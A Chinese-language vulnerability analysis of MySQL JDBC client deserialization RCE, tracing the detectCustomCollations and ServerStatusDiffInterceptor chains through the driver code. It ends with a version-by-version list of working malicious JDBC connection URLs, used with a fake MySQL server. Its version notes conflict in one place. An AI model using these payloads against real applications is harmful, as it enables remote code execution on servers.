JDBC反序列化
JDBC反序列化
认识JDBC
JDBC(Java DataBase Connectivity)是一种用于执行Sql语句的Java Api,即Java数据库连接,是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,可以为多种关系数据库提供统一访问,提供了诸如查询和更新数据库中数据的方法,是Java访问数据库的标准规范。简单理解为链接数据库、对数据库操作都需要通过jdbc来实现。
Mysql JDBC 中包含一个危险的扩展参数: “autoDeserialize”。这个参数配置为 true 时,JDBC 客户端将会自动反序列化服务端返回的数据,造成RCE漏洞。
漏洞原理
若攻击者能控制JDBC连接设置项,则可以通过设置其配置指向恶意MySQL服务器触发ObjectInputStream.readObject(),构造反序列化利用链从而造成RCE。
通过JDBC连接MySQL服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在MySQL客户端进行处理时会被ObjectInputStream.readObject()进行反序列化处理。如果攻击者可以控制JDBC连接设置项,那么可以通过设置其配置指向恶意MySQL服务触发MySQL JDBC客户端的反序列化漏洞。
可被利用的两条查询语句:
- SHOW SESSION STATUS
- SHOW COLLATION
环境搭建
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>x.x.x</version> <!-- 使用适当的版本号 -->
</dependency>
因为漏洞利用需要使用伪装mysql服务,这里使用的是https://github.com/4ra1n/mysql-fake-server
简单的测试代码:
String Driver = "com.mysql.cj.jdbc.Driver";//低版本是com.mysql.jdbc.Driver
String DB_URL = "jdbc:mysql://127.0.0.1:3308/test";
Class.forName(Driver);
Connection conn = DriverManager.getConnection(DB_URL, "xxx", "test");
conn.close();
detectCustomCollations链
5.1.19-5.1.28
从连接数据库的地方DriverManager.getConnection(url)
进行调试分析
首先跟进getConnection,来到DriverManager.getConnection
这里获取到com.mysql.jdbc.Driver
这个驱动,然后调用了connect(url, info)
,跟进
来到这里,首先看看是不是以jdbc:mysql:loadbalance://
或者jdbc:mysql:replication://
开头,我们传入的是jdbc:mysql://
不会进入判断里。继续往下
这里从这个url中解析出host,port,database等属性,然后调用了这个ConnectionImpl.getInstance
使用解析后的连接属性来创建一个新的MySQL数据库连接,跟进
protected static Connection getInstance(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {
return (Connection)(!Util.isJdbc4() ? new ConnectionImpl(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url) : (Connection)Util.handleNewInstance(JDBC_4_CONNECTION_CTOR, new Object[]{hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url}, (ExceptionInterceptor)null));
}
首先通过调用Util.isJdbc4()
方法判断当前是否为jdbc4版本。isJdbc4()
方法用于检查是否支持JDBC 4.0规范
如果不是jdbc4版本,则通过调用new ConnectionImpl(...)
创建一个新的ConnectionImpl
对象,这个对象是一个实现了Connection
接口的类,用于建立实际的数据库连接。ConnectionImpl
类的构造方法接收相同的参数,并用于初始化连接实例
如果是jdbc4版本,则通过调用Util.handleNewInstance(...)
方法创建一个新的Connection
对象。这个方法用于通过反射调用指定构造方法创建实例。其中JDBC_4_CONNECTION_CTOR
表示jdbc4版本的Connection
类的构造方法,参数列表与上述相同。这样可以兼容不同版本的JDBC驱动程序
这里是符合JDBC4.0规范的,所以进入的是Util.handleNewInstance
进入这里后,直接实例化了JDBC4Connection对象,参数就是从url中解析出来的参数还有属性
往下来到构造函数:
public JDBC4Connection(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {
super(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url);
}
这里使用了继承的类ConnectionImpl
的构造函数,这个构造函数会将所有的参数,属性赋值到this
往下会调用createNewIO()
跟进
这里调用了connectOneTryOnly
进行连接尝试
跟进
跟进initializePropsFromServer()
在这会调用buildCollationMapping(),跟进
在这里能看到,sql连接时会执行两个sql语句,一个是SHOW COLLATION
先判断jdbc版本是否大于5.0.0 ,然后将执行结果作为resultSetToMap
参数
第二个是SHOW CHARACTER SET
这里会将部分结果保存到hashmap对象里
第二个不是重点,所有跟进第一个处理结果的resultSetToMap()
public static void resultSetToMap(Map mappedValues, ResultSet rs, int key, int value) throws SQLException {
while(rs.next()) {
mappedValues.put(rs.getObject(key), rs.getObject(value));
}
}
这里调用了getObject()
跟进
这里很明显的看到了反序列化的操作,其中反序列化的字符串来自于刚刚执行的SHOW COLLATION
的结果的第3或者第2列的值
如果我们能够控制这个值,就会造成反序列化漏洞
但是这这之前,会有两个判断,一个是判断
if (!this.connection.getAutoDeserialize()) {
return data;
这里是获取了连接属性AutoDeserialize的值,如果为false,则直接返回结果,如果为true则往下,所以要在url中添加参数autoDeserialize=true
第二个判断是判断是不上反序列化数据,即判断数据前两位
if (data != null && data.length >= 2) {
if (data[0] != -84 || data[1] != -19) {
return this.getString(columnIndex);
}
所以利用的时候需要根据连接的数据包伪装mysql服务器,接收到请求时,返回恶意数据(序列化数据),再控制url,添加参数autoDeserialize=true
即可反序列化
这里使用https://github.com/4ra1n/mysql-fake-server 进行利用这个漏洞,假设服务器存在CB链,而且url可控
运行结果
5.1.29-5.1.48
在com.mysql.jdbc.ConnectionImpl#buildCollationMapping()方法中,5.1.28版本的如下:
而5.1.48版本的如下,发现触发漏洞点的条件多了一个this.getDetectCustomCollations()
跟进getDetectCustomCollations()查看
public boolean getDetectCustomCollations() {
return this.detectCustomCollations.getValueAsBoolean();
}
这个是获取url参数detectCustomCollations的值,默认为false,需要修改为true
jdbc:mysql://127.0.0.1:3308/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc
这里存在一个问题
获取结果的时候会将结果转换成Number类型,然后就报错了
6.0.2-6.0.6
在com.mysql.cj.jdbc.ConnectionImpl#buildCollationMapping()这几个版本中payload和上面的是一样的,只是它获取detectCustomCollations
的操作不太一样
这里没有进行类型转换,可以正常利用
ServerStatusDiffInterceptor链
5.1.0-5.1.10
在detectCustomCollations链中可以知道,导致反序列化的是resultSetToMap方法处理SQL执行结果进而调用getObject()然后进入反序列化
如果不走detectCustomCollations
这条链,是否还能找到另外的利用链?
寻找调用resultSetToMap
的地方,发现com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
存在类似的代码
而这个方法在preProcess
方法中调用
public ResultSetInternalMethods preProcess(String sql, Statement interceptedStatement, Connection connection) throws SQLException {
if (connection.versionMeetsMinimum(5, 0, 2)) {
this.populateMapWithSessionStatusValues(connection, this.preExecuteValues);
}
return null;
}
如何调用这个preProcess
方法呢?
ServerStatusDiffInterceptor是一个拦截器,在JDBC URL中设置属性queryInterceptors(8.0以下为statementInterceptors)为ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法
测试代码:
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String Driver = "com.mysql.jdbc.Driver";
// String Driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&user=deser_CB_calc";
Class.forName(Driver);
Connection conn = DriverManager.getConnection(DB_URL);
String sql = "select database()";
PreparedStatement ps = conn.prepareStatement(sql);
//执行查询操作,返回的是数据库结果集的数据表
ResultSet resultSet = ps.executeQuery();
conn.close();
}
在ps.executeQuery()调试跟进
在com.mysql.jdbc.MysqlIO
中invokeStatementInterceptorsPre
方法发现了preProcess调用
这个interceptor对象是来自this.statementInterceptors 数组
这个statementInterceptors是在com.mysql.jdbc.ConnectionImpl
中赋值,可以看出来,这个statementInterceptors可以在url设置,因为这个this.props
是url解析出来的各个参数数组
所以payload:添加指定拦截器statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String Driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc";
Class.forName(Driver);
Connection conn = DriverManager.getConnection(DB_URL);
String sql = "select database()";
PreparedStatement ps = conn.prepareStatement(sql);
ResultSet resultSet = ps.executeQuery();
conn.close();
}
5.1.11-5.x.xx
这个版本的payload和上面的是一样的,只是在main函数中触发的地方不一样,上面的触发是在ps.executeQuery()
执行时,触发拦截器,而这几个版本中触发的是在DriverManager.getConnection(DB_URL)
,调用链如下:
getObjectDeserializingIfNeeded:4570, ResultSetImpl (com.mysql.jdbc)
getObject:4537, ResultSetImpl (com.mysql.jdbc)
resultSetToMap:467, Util (com.mysql.jdbc)
populateMapWithSessionStatusValues:69, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:84, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:54, V1toV2StatementInterceptorAdapter (com.mysql.jdbc)
preProcess:65, NoSubInterceptorWrapper (com.mysql.jdbc)
invokeStatementInterceptorsPre:2865, MysqlIO (com.mysql.jdbc)
sqlQueryDirect:2586, MysqlIO (com.mysql.jdbc)
execSQL:2491, ConnectionImpl (com.mysql.jdbc)
execSQL:2449, ConnectionImpl (com.mysql.jdbc)
executeQuery:1381, StatementImpl (com.mysql.jdbc)
loadServerVariables:3805, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3230, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2243, ConnectionImpl (com.mysql.jdbc)
createNewIO:2025, ConnectionImpl (com.mysql.jdbc)
<init>:778, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:425, Util (com.mysql.jdbc)
getInstance:386, ConnectionImpl (com.mysql.jdbc)
connect:330, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:13, Main (org.example)
6.x
这个6.x版本中的payload和上面的payload是一样的,仅因更改jdbc包,由com.mysql.jdbc
改为com.mysql.cj.jdbc
。
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String Driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc";
Class.forName(Driver);
Connection conn = DriverManager.getConnection(DB_URL);
conn.close();
}
8.0.7-8.0.20
这个版本中,指定拦截器的参数名换了,变成了queryInterceptors
所以payload修改为:
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String Driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc";
Class.forName(Driver);
Connection conn = DriverManager.getConnection(DB_URL);
conn.close();
}
8.0.20以下
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues不再调用resultSetToMap()即getObject()。此利用链失效
Payload汇总
detectCustomCollations链:
- 5.1.19-5.1.28:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.29-5.1.48:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.49:不可用
- 6.0.2-6.0.6:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
- 8.x.x :不可用
ServerStatusDiffInterceptor链:
- 5.1.0-5.1.10:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc 连接后需执行查询
- 5.1.11-5.x.xx:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
- 6.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc (包名中添加cj)
- 8.0.20以下:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc